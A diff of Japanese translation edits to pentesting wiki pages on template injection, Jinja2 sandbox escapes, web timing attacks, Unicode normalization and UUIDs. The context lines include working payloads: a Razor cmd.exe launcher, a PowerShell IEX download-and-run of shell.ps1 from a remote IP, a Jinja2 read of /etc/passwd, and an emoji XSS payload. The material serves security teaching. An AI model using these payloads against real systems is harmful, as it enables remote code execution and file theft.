- `@("{{code}}") <= Success`
|
||||||
- `@ <= 成功`
|
- `@ <=Success`
|
||||||
- `@{} <= エラー!`
|
- `@{} <= ERROR!`
|
||||||
- `@{ <= エラー!`
|
- `@{ <= ERRROR!`
|
||||||
- `@(1+2)`
|
- `@(1+2)`
|
||||||
- `@( //C#Code )`
|
- `@( //C#Code )`
|
||||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||||
@ -922,7 +922,7 @@ ${x}
|
|||||||
|
|
||||||
- `<%= 7*7 %>` = 49
|
- `<%= 7*7 %>` = 49
|
||||||
- `<%= "foo" %>` = foo
|
- `<%= "foo" %>` = foo
|
||||||
- `<%= foo %>` = 何も表示されません
|
- `<%= foo %>` = Nothing
|
||||||
- `<%= response.write(date()) %>` = \<Date>
|
- `<%= response.write(date()) %>` = \<Date>
|
||||||
```xml
|
```xml
|
||||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||||
@ -961,7 +961,7 @@ vbnet Copy code
|
|||||||
|
|
||||||
RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは [here for html/template](https://golang.org/pkg/html/template/) と [here for text/template](https://golang.org/pkg/text/template/) で入手できます。
|
RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは [here for html/template](https://golang.org/pkg/html/template/) と [here for text/template](https://golang.org/pkg/text/template/) で入手できます。
|
||||||
|
|
||||||
GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常ソースコードへのアクセスが必要です。
|
GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常、ソースコードにアクセスする必要があります。
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
out, _ := exec.Command(test).CombinedOutput()
|
out, _ := exec.Command(test).CombinedOutput()
|
||||||
@ -975,7 +975,7 @@ return string(out)
|
|||||||
|
|
||||||
### さらなるエクスプロイト
|
### さらなるエクスプロイト
|
||||||
|
|
||||||
さらなるエクスプロイトについては、[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)を確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で興味深いタグ情報を見つけることができます。
|
さらなるエクスプロイトについては [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) を確認してください。また、興味深いタグ情報は [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) で見つけることができます。
|
||||||
|
|
||||||
## BlackHat PDF
|
## BlackHat PDF
|
||||||
|
|
||||||
@ -999,7 +999,7 @@ return string(out)
|
|||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||||
|
|
||||||
## 実践と参考文献
|
## 実践 & 参考文献
|
||||||
|
|
||||||
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||||
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||||
|
@ -18,11 +18,11 @@ Expression Language (EL) は、JavaEE においてプレゼンテーション層
|
|||||||
EL は JavaEE テクノロジー、スタンドアロン環境に存在し、`.jsp` または `.jsf` ファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
|
EL は JavaEE テクノロジー、スタンドアロン環境に存在し、`.jsp` または `.jsf` ファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **EL バージョン**によっては、いくつかの **機能**が **オン**または **オフ**である可能性があり、通常、いくつかの **文字**が **禁止**されることがあります。
|
> **EL バージョン**によっては、いくつかの **機能**が **On** または **Off** であり、通常いくつかの **文字**が **不許可** である場合があります。
|
||||||
|
|
||||||
## Basic Example
|
## Basic Example
|
||||||
|
|
||||||
(EL に関する別の興味深いチュートリアルは [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) で見つけることができます。)
|
(EL に関する別の興味深いチュートリアルは [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) で見つけることができます)
|
||||||
|
|
||||||
[**Maven**](https://mvnrepository.com) リポジトリから以下の jar ファイルをダウンロードします:
|
[**Maven**](https://mvnrepository.com) リポジトリから以下の jar ファイルをダウンロードします:
|
||||||
|
|
||||||
@ -206,7 +206,7 @@ ${employee.FirstName}
|
|||||||
```
|
```
|
||||||
## WAF バイパス
|
## WAF バイパス
|
||||||
|
|
||||||
チェック [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
|
Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -60,12 +60,12 @@ Debug Extensionが有効になっている場合、現在のコンテキスト
|
|||||||
```
|
```
|
||||||
## **Jinja Injection**
|
## **Jinja Injection**
|
||||||
|
|
||||||
まず最初に、Jinjaインジェクションでは、**サンドボックスから脱出する方法を見つける**必要があり、通常のPython実行フローへのアクセスを回復する必要があります。そのためには、**サンドボックスからアクセス可能な非サンドボックス環境の**オブジェクトを**悪用する**必要があります。
|
まず第一に、Jinjaインジェクションでは、**サンドボックスから脱出する方法を見つける**必要があります。そして、通常のPython実行フローへのアクセスを回復します。そのためには、**サンドボックスからアクセス可能な非サンドボックス環境の**オブジェクトを**悪用する**必要があります。
|
||||||
|
|
||||||
### グローバルオブジェクトへのアクセス
|
### グローバルオブジェクトへのアクセス
|
||||||
|
|
||||||
例えば、コード`render_template("hello.html", username=username, email=email)`では、オブジェクトusernameとemailは**非サンドボックスのPython環境から来ており**、**サンドボックス環境内でアクセス可能**です。\
|
例えば、コード`render_template("hello.html", username=username, email=email)`では、オブジェクトusernameとemailは**非サンドボックスのPython環境から来ており**、**サンドボックス環境内でアクセス可能**です。\
|
||||||
さらに、**サンドボックス環境から常にアクセス可能な**他のオブジェクトもあります。これらは:
|
さらに、**サンドボックス環境から常にアクセス可能な**他のオブジェクトもあります。これらは:
|
||||||
```
|
```
|
||||||
[]
|
[]
|
||||||
''
|
''
|
||||||
@ -74,11 +74,11 @@ dict
|
|||||||
config
|
config
|
||||||
request
|
request
|
||||||
```
|
```
|
||||||
### \<class 'object'> の回復
|
### Recovering \<class 'object'>
|
||||||
|
|
||||||
次に、これらのオブジェクトから **`<class 'object'>`** に到達する必要があります。これは、定義された **クラス** を **回復** しようとするためです。なぜなら、このオブジェクトから **`__subclasses__`** メソッドを呼び出し、**サンドボックス化されていない** python 環境のすべてのクラスに **アクセス** できるからです。
|
次に、これらのオブジェクトからクラス **`<class 'object'>`** にアクセスする必要があります。これは、定義された **classes** を **recover** しようとするためです。なぜなら、このオブジェクトから **`__subclasses__`** メソッドを呼び出し、**non-sandboxed** python 環境のすべてのクラスにアクセスできるからです。
|
||||||
|
|
||||||
その **オブジェクトクラス** にアクセスするには、**クラスオブジェクト** にアクセスし、次に **`__base__`**、**`__mro__()[-1]`** または `.`**`mro()[-1]`** にアクセスする必要があります。そして、**このオブジェクトクラス** に到達した後、**`__subclasses__()`** を **呼び出します**。
|
その **object class** にアクセスするには、**class object** にアクセスし、次に **`__base__`**、**`__mro__()[-1]`** または `.`**`mro()[-1]`** にアクセスする必要があります。そして、**object class** に到達した後、**`__subclasses__()`** を **call** します。
|
||||||
|
|
||||||
これらの例を確認してください:
|
これらの例を確認してください:
|
||||||
```python
|
```python
|
||||||
@ -126,9 +126,9 @@ dict.__mro__[-1]
|
|||||||
```
|
```
|
||||||
### RCE エスケープ
|
### RCE エスケープ
|
||||||
|
|
||||||
**回復した** `<class 'object'>` と `__subclasses__` を呼び出したことで、これらのクラスを使用してファイルを読み書きしたり、コードを実行したりすることができます。
|
**回復した** `<class 'object'>` と `__subclasses__` を呼び出したことで、これらのクラスを使用してファイルを読み書きしたり、コードを実行したりできるようになりました。
|
||||||
|
|
||||||
`__subclasses__` の呼び出しにより、**数百の新しい関数にアクセスする機会**が得られました。私たちは、**ファイルクラス**にアクセスして**ファイルを読み書きする**ことや、**コマンドを実行することを許可するクラス**(例えば `os`)にアクセスすることで満足します。
|
`__subclasses__` の呼び出しにより、**数百の新しい関数にアクセスする機会**が得られました。私たちは、**ファイルクラス**にアクセスして**ファイルを読み書きする**ことや、**コマンドを実行することを許可する**クラス(例えば `os`)にアクセスすることで満足します。
|
||||||
|
|
||||||
**リモートファイルの読み書き**
|
**リモートファイルの読み書き**
|
||||||
```python
|
```python
|
||||||
@ -169,7 +169,7 @@ dict.__mro__[-1]
|
|||||||
|
|
||||||
#### 一般的なバイパス
|
#### 一般的なバイパス
|
||||||
|
|
||||||
これらのバイパスは、**いくつかの文字を使用せずに**オブジェクトの**属性**に**アクセス**することを可能にします。\
|
これらのバイパスは、**いくつかの文字**を使用せずにオブジェクトの**属性**に**アクセス**することを可能にします。\
|
||||||
前の例でこれらのバイパスのいくつかをすでに見ましたが、ここで要約します:
|
前の例でこれらのバイパスのいくつかをすでに見ましたが、ここで要約します:
|
||||||
```bash
|
```bash
|
||||||
# Without quotes, _, [, ]
|
# Without quotes, _, [, ]
|
||||||
@ -250,7 +250,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||||||
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects)から、**そのクラスを使用せずにRCEに到達する**別の方法があります。\
|
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects)から、**そのクラスを使用せずにRCEに到達する**別の方法があります。\
|
||||||
これらのグローバルオブジェクトから**関数**にアクセスできれば、**`__globals__.__builtins__`**にアクセスでき、そこから**RCE**は非常に**簡単**です。
|
これらのグローバルオブジェクトから**関数**にアクセスできれば、**`__globals__.__builtins__`**にアクセスでき、そこから**RCE**は非常に**簡単**です。
|
||||||
|
|
||||||
**`request`**、**`config`**、およびアクセス可能な**他の**興味深い**グローバルオブジェクト**から**関数**を見つけることができます。
|
**`request`**、**`config`**、およびアクセス可能な**他の**興味深い**グローバルオブジェクト**から**関数**を**見つける**ことができます。
|
||||||
```bash
|
```bash
|
||||||
{{ request.__class__.__dict__ }}
|
{{ request.__class__.__dict__ }}
|
||||||
- application
|
- application
|
||||||
@ -270,7 +270,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||||||
|
|
||||||
# You can iterate through children objects to find more
|
# You can iterate through children objects to find more
|
||||||
```
|
```
|
||||||
いくつかの関数を見つけたら、次のコマンドでビルトインを復元できます:
|
いくつかの関数を見つけたら、次のようにしてビルトインを復元できます:
|
||||||
```python
|
```python
|
||||||
# Read file
|
# Read file
|
||||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||||
@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||||
- [attrトリックを使用してブラックリストに載っている文字をバイパスする方法はこちらを確認してください](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
- [attrトリックを使用してブラックリストに登録された文字をバイパスする方法はこちらを確認してください](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3)。
|
||||||
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||||
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||||
|
|
||||||
|
@ -3,7 +3,7 @@
|
|||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> この技術を深く理解するためには、[https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)の元のレポートを確認してください。
|
> この技術を深く理解するためには、[https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)からのオリジナルレポートを確認してください。
|
||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
@ -18,18 +18,18 @@
|
|||||||
|
|
||||||
ブログ記事では、この技術を使用して隠れたパラメータやヘッダーを見つけることができた方法がコメントされています。リクエストにパラメータやヘッダーが存在する場合、**約5msの時間差があった**ことを確認するだけです。実際、この発見技術はBurp Suiteの**Param Miner**に追加されました。
|
ブログ記事では、この技術を使用して隠れたパラメータやヘッダーを見つけることができた方法がコメントされています。リクエストにパラメータやヘッダーが存在する場合、**約5msの時間差があった**ことを確認するだけです。実際、この発見技術はBurp Suiteの**Param Miner**に追加されました。
|
||||||
|
|
||||||
これらの時間差は、**DNSリクエスト**が実行されたため、無効な入力のために**ログが書き込まれた**ため、またはリクエストにパラメータが存在する場合に**チェックが実行された**ために発生する可能性があります。
|
これらの時間差は、**DNSリクエスト**が実行されたため、無効な入力によって**ログが書き込まれた**ため、またはリクエストにパラメータが存在する場合に**チェックが実行された**ために発生する可能性があります。
|
||||||
|
|
||||||
この種の攻撃を実行する際に覚えておくべきことは、隠れた性質のために、時間差の実際の原因が何であるかを知らない可能性があるということです。
|
この種の攻撃を実行する際に覚えておくべきことは、隠れた性質のために、時間差の実際の原因が何であるかを知らない可能性があるということです。
|
||||||
|
|
||||||
### リバースプロキシの誤設定
|
### リバースプロキシの誤設定
|
||||||
|
|
||||||
同じ研究では、タイミング技術が「スコープ付きSSRF」(許可されたIP/ドメインにのみアクセスできるSSRF)を発見するのに優れていることが共有されました。**許可されたドメインが設定されているときと、許可されていないドメインが設定されているときの時間差を確認する**ことで、応答が同じであってもオープンプロキシを発見するのに役立ちます。
|
同じ研究では、タイミング技術が「スコープ付きSSRF」(許可されたIP/ドメインにのみアクセスできるSSRF)を発見するのに優れていることが共有されました。**許可されたドメインが設定されている場合と、許可されていないドメインが設定されている場合の時間差を確認する**ことで、応答が同じであってもオープンプロキシを発見するのに役立ちます。
|
||||||
|
|
||||||
スコープ付きオープンプロキシが発見されると、ターゲットの既知のサブドメインを解析することで有効なターゲットを見つけることができ、これにより以下が可能になります:
|
スコープ付きオープンプロキシが発見されると、ターゲットの既知のサブドメインを解析することで有効なターゲットを見つけることができ、これにより以下が可能になります:
|
||||||
|
|
||||||
- **ファイアウォールをバイパス**し、**オープンプロキシ**を介して制限されたサブドメインにアクセスすること。
|
- **ファイアウォールをバイパス**し、**オープンプロキシ**を介して制限されたサブドメインにアクセスする
|
||||||
- さらに、**オープンプロキシ**を悪用することで、**内部でのみアクセス可能な新しいサブドメインを発見すること**も可能です。
|
- さらに、**オープンプロキシ**を悪用することで、**内部でのみアクセス可能な新しいサブドメインを発見する**ことも可能です。
|
||||||
- **フロントエンドのなりすまし攻撃**:フロントエンドサーバーは通常、`X-Forwarded-For`や`X-Real-IP`のようなバックエンド用のヘッダーを追加します。これらのヘッダーを受け取るオープンプロキシは、要求されたエンドポイントにそれらを追加するため、攻撃者はホワイトリストに登録された値を追加することで、さらに多くの内部ドメインにアクセスできる可能性があります。
|
- **フロントエンドのなりすまし攻撃**:フロントエンドサーバーは通常、`X-Forwarded-For`や`X-Real-IP`のようなバックエンド用のヘッダーを追加します。これらのヘッダーを受け取るオープンプロキシは、要求されたエンドポイントにそれらを追加するため、攻撃者はホワイトリストに登録された値を追加することで、さらに多くの内部ドメインにアクセスできる可能性があります。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
@ -10,8 +10,8 @@
|
|||||||
|
|
||||||
ユニコード正規化は、**ユニコード文字がASCII文字に正規化される**ときに発生します。
|
ユニコード正規化は、**ユニコード文字がASCII文字に正規化される**ときに発生します。
|
||||||
|
|
||||||
このタイプの脆弱性の一般的なシナリオは、システムが**チェックした後に**ユーザーの**入力を何らかの形で変更する**ときに発生します。たとえば、いくつかの言語では、**入力を大文字または小文字にする**ための単純な呼び出しが、与えられた入力を正規化し、**ユニコードがASCIIに変換され**て新しい文字が生成される可能性があります。\
|
この種の脆弱性の一般的なシナリオは、システムが**チェックした後に**ユーザーの**入力を何らかの形で変更する**ときに発生します。たとえば、いくつかの言語では、**入力を大文字または小文字にする**ための単純な呼び出しが、与えられた入力を正規化し、**ユニコードがASCIIに変換され**て新しい文字が生成される可能性があります。\
|
||||||
詳細については、次を確認してください:
|
詳細については、次を確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
unicode-normalization.md
|
unicode-normalization.md
|
||||||
@ -21,7 +21,7 @@ unicode-normalization.md
|
|||||||
|
|
||||||
ユニコード文字は通常、**`\u`プレフィックス**で表されます。たとえば、文字`㱋`は`\u3c4b`です([ここで確認](https://unicode-explorer.com/c/3c4B))。バックエンドが**`\u`プレフィックスを`%`に変換**すると、結果の文字列は`%3c4b`になり、URLデコードすると**`<4b`**になります。そして、見ての通り、**`<`文字が注入されます**。\
|
ユニコード文字は通常、**`\u`プレフィックス**で表されます。たとえば、文字`㱋`は`\u3c4b`です([ここで確認](https://unicode-explorer.com/c/3c4B))。バックエンドが**`\u`プレフィックスを`%`に変換**すると、結果の文字列は`%3c4b`になり、URLデコードすると**`<4b`**になります。そして、見ての通り、**`<`文字が注入されます**。\
|
||||||
バックエンドが脆弱であれば、この技術を使用して**任意の種類の文字を注入**することができます。\
|
バックエンドが脆弱であれば、この技術を使用して**任意の種類の文字を注入**することができます。\
|
||||||
必要な文字を見つけるには、[https://unicode-explorer.com/](https://unicode-explorer.com/)を確認してください。
|
必要な文字を見つけるには[https://unicode-explorer.com/](https://unicode-explorer.com/)を確認してください。
|
||||||
|
|
||||||
この脆弱性は、研究者が発見した脆弱性から来ており、詳細な説明については[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)を確認してください。
|
この脆弱性は、研究者が発見した脆弱性から来ており、詳細な説明については[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)を確認してください。
|
||||||
|
|
||||||
@ -29,9 +29,9 @@ unicode-normalization.md
|
|||||||
|
|
||||||
バックエンドは、**絵文字を受け取るとき**に何かおかしな動作をします。これは、研究者が`💋img src=x onerror=alert(document.domain)//💛`のようなペイロードでXSSを達成した[**このレポート**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)で起こったことです。
|
バックエンドは、**絵文字を受け取るとき**に何かおかしな動作をします。これは、研究者が`💋img src=x onerror=alert(document.domain)//💛`のようなペイロードでXSSを達成した[**このレポート**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)で起こったことです。
|
||||||
|
|
||||||
この場合、サーバーは悪意のある文字を削除した後、**Windows-1252からUTF-8にUTF-8文字列を変換**したためにエラーが発生しました(基本的に入力エンコーディングと変換元エンコーディングが不一致でした)。そのため、適切な<を提供せず、奇妙なユニコードのもの`‹`を提供しました。\
|
この場合、サーバーは悪意のある文字を削除した後、**UTF-8文字列をWindows-1252からUTF-8に変換**したためにエラーが発生しました(基本的に入力エンコーディングと変換元エンコーディングが不一致でした)。そのため、適切な<を提供せず、奇妙なユニコードのものが得られました: `‹`\
|
||||||
``そのため、彼らはこの出力を取り、**今度はUTF-8からASCIIに再変換しました**。これにより、`‹`が`<`に**正規化**され、これがそのシステムでのエクスプロイトが機能する方法でした。\
|
``そのため、彼らはこの出力を取り、**再度UTF-8からASCIIに変換しました**。これにより、`‹`が`<`に**正規化**され、これがそのシステムでのエクスプロイトが機能する方法でした。\
|
||||||
これが起こったことです:
|
これが起こったことです:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
|
@ -2,26 +2,26 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**これは次の要約です:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。詳細については確認してください(画像はそこから取得されています)。
|
**これは要約です:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。詳細については確認してください(画像はそこから取得されています)。
|
||||||
|
|
||||||
## Understanding Unicode and Normalization
|
## Unicodeと正規化の理解
|
||||||
|
|
||||||
Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています:
|
Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています。
|
||||||
|
|
||||||
1. **Canonical Equivalence**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは正準的に同等と見なされます。
|
1. **標準同等性**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは標準的に同等と見なされます。
|
||||||
2. **Compatibility Equivalence**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。
|
2. **互換性同等性**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。
|
||||||
|
|
||||||
**Unicode正規化アルゴリズムは4つ**あります:NFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、正準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探ることができます。
|
**4つのUnicode正規化アルゴリズム**があります:NFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、標準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探ることができます。
|
||||||
|
|
||||||
### Key Points on Unicode Encoding
|
### Unicodeエンコーディングに関する重要なポイント
|
||||||
|
|
||||||
Unicodeエンコーディングを理解することは、特に異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは次のとおりです:
|
Unicodeエンコーディングを理解することは、異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは以下の通りです。
|
||||||
|
|
||||||
- **Code Points and Characters**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられています。
|
- **コードポイントと文字**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられています。
|
||||||
- **Bytes Representation**: コードポイント(または文字)は、メモリ内で1つ以上のバイトで表されます。たとえば、LATIN-1文字(英語圏で一般的)は1バイトを使用して表されます。ただし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトが必要です。
|
- **バイト表現**: コードポイント(または文字)は、メモリ内で1つ以上のバイトで表現されます。たとえば、LATIN-1文字(英語圏で一般的)は1バイトを使用して表現されます。しかし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトを必要とします。
|
||||||
- **Encoding**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトで表され、他の文字には最大4バイトが使用されます。
|
- **エンコーディング**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトで表現され、他の文字には最大4バイトが使用されます。
|
||||||
- **Processing Data**: データを処理するシステムは、バイトストリームを正しく文字に変換するために使用されるエンコーディングを認識している必要があります。
|
- **データ処理**: データを処理するシステムは、バイトストリームを正しく文字に変換するために使用されるエンコーディングを認識している必要があります。
|
||||||
- **Variants of UTF**: UTF-8の他にも、UTF-16(最小2バイト、最大4バイトを使用)やUTF-32(すべての文字に4バイトを使用)などの他のエンコーディング標準があります。
|
- **UTFのバリアント**: UTF-8の他にも、最小2バイト(最大4バイト)を使用するUTF-16や、すべての文字に4バイトを使用するUTF-32などの他のエンコーディング標準があります。
|
||||||
|
|
||||||
これらの概念を理解することは、Unicodeの複雑さとそのさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、軽減するために重要です。
|
これらの概念を理解することは、Unicodeの複雑さとそのさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、軽減するために重要です。
|
||||||
|
|
||||||
@ -79,11 +79,11 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||||||
|
|
||||||
### XSS (クロスサイトスクリプティング)
|
### XSS (クロスサイトスクリプティング)
|
||||||
|
|
||||||
次のいずれかの文字を使用して、ウェブアプリを欺き、XSSを悪用することができます:
|
次の文字のいずれかを使用して、ウェブアプリを欺き、XSSを悪用することができます:
|
||||||
|
|
||||||
 (2).png>)
|
 (2).png>)
|
||||||
|
|
||||||
例えば、最初のUnicode文字は、`%e2%89%ae`または`%u226e`として送信できます。
|
例えば、提案された最初のUnicode文字は、`%e2%89%ae`または`%u226e`として送信できます。
|
||||||
|
|
||||||
 (1) (1).png>)
|
 (1) (1).png>)
|
||||||
|
|
||||||
|
@ -6,10 +6,10 @@
|
|||||||
|
|
||||||
Universally Unique Identifiers (UUIDs) は **情報を一意に識別するために使用される128ビットの番号** です。UUIDは、中央の調整なしに一意の識別子が必要なアプリケーションで不可欠です。一般的にデータベースキーとして使用され、文書やセッションなどのさまざまな要素を参照できます。
|
Universally Unique Identifiers (UUIDs) は **情報を一意に識別するために使用される128ビットの番号** です。UUIDは、中央の調整なしに一意の識別子が必要なアプリケーションで不可欠です。一般的にデータベースキーとして使用され、文書やセッションなどのさまざまな要素を参照できます。
|
||||||
|
|
||||||
UUIDは一意であり、**推測が難しい**ように設計されています。特定の形式で構成されており、32の16進数の数字で表される5つのグループに分かれています。UUIDには異なるバージョンがあり、それぞれ異なる目的に使用されます:
|
UUIDは一意であり、**推測が難しい**ように設計されています。特定の形式で構造化されており、32の16進数の数字で表される5つのグループに分かれています。UUIDには異なるバージョンがあり、それぞれ異なる目的に使用されます:
|
||||||
|
|
||||||
- **UUID v1** は時間ベースで、タイムスタンプ、クロックシーケンス、ノードID(MACアドレス)を組み込んでいますが、システム情報を露出する可能性があります。
|
- **UUID v1** は時間ベースで、タイムスタンプ、クロックシーケンス、ノードID(MACアドレス)を組み込んでいますが、システム情報を露出する可能性があります。
|
||||||
- **UUID v2** はv1に似ていますが、ローカルドメイン用の修正が含まれています(あまり広く使用されていません)。
|
- **UUID v2** はv1に似ていますが、ローカルドメイン用の修正が含まれています(広く使用されていません)。
|
||||||
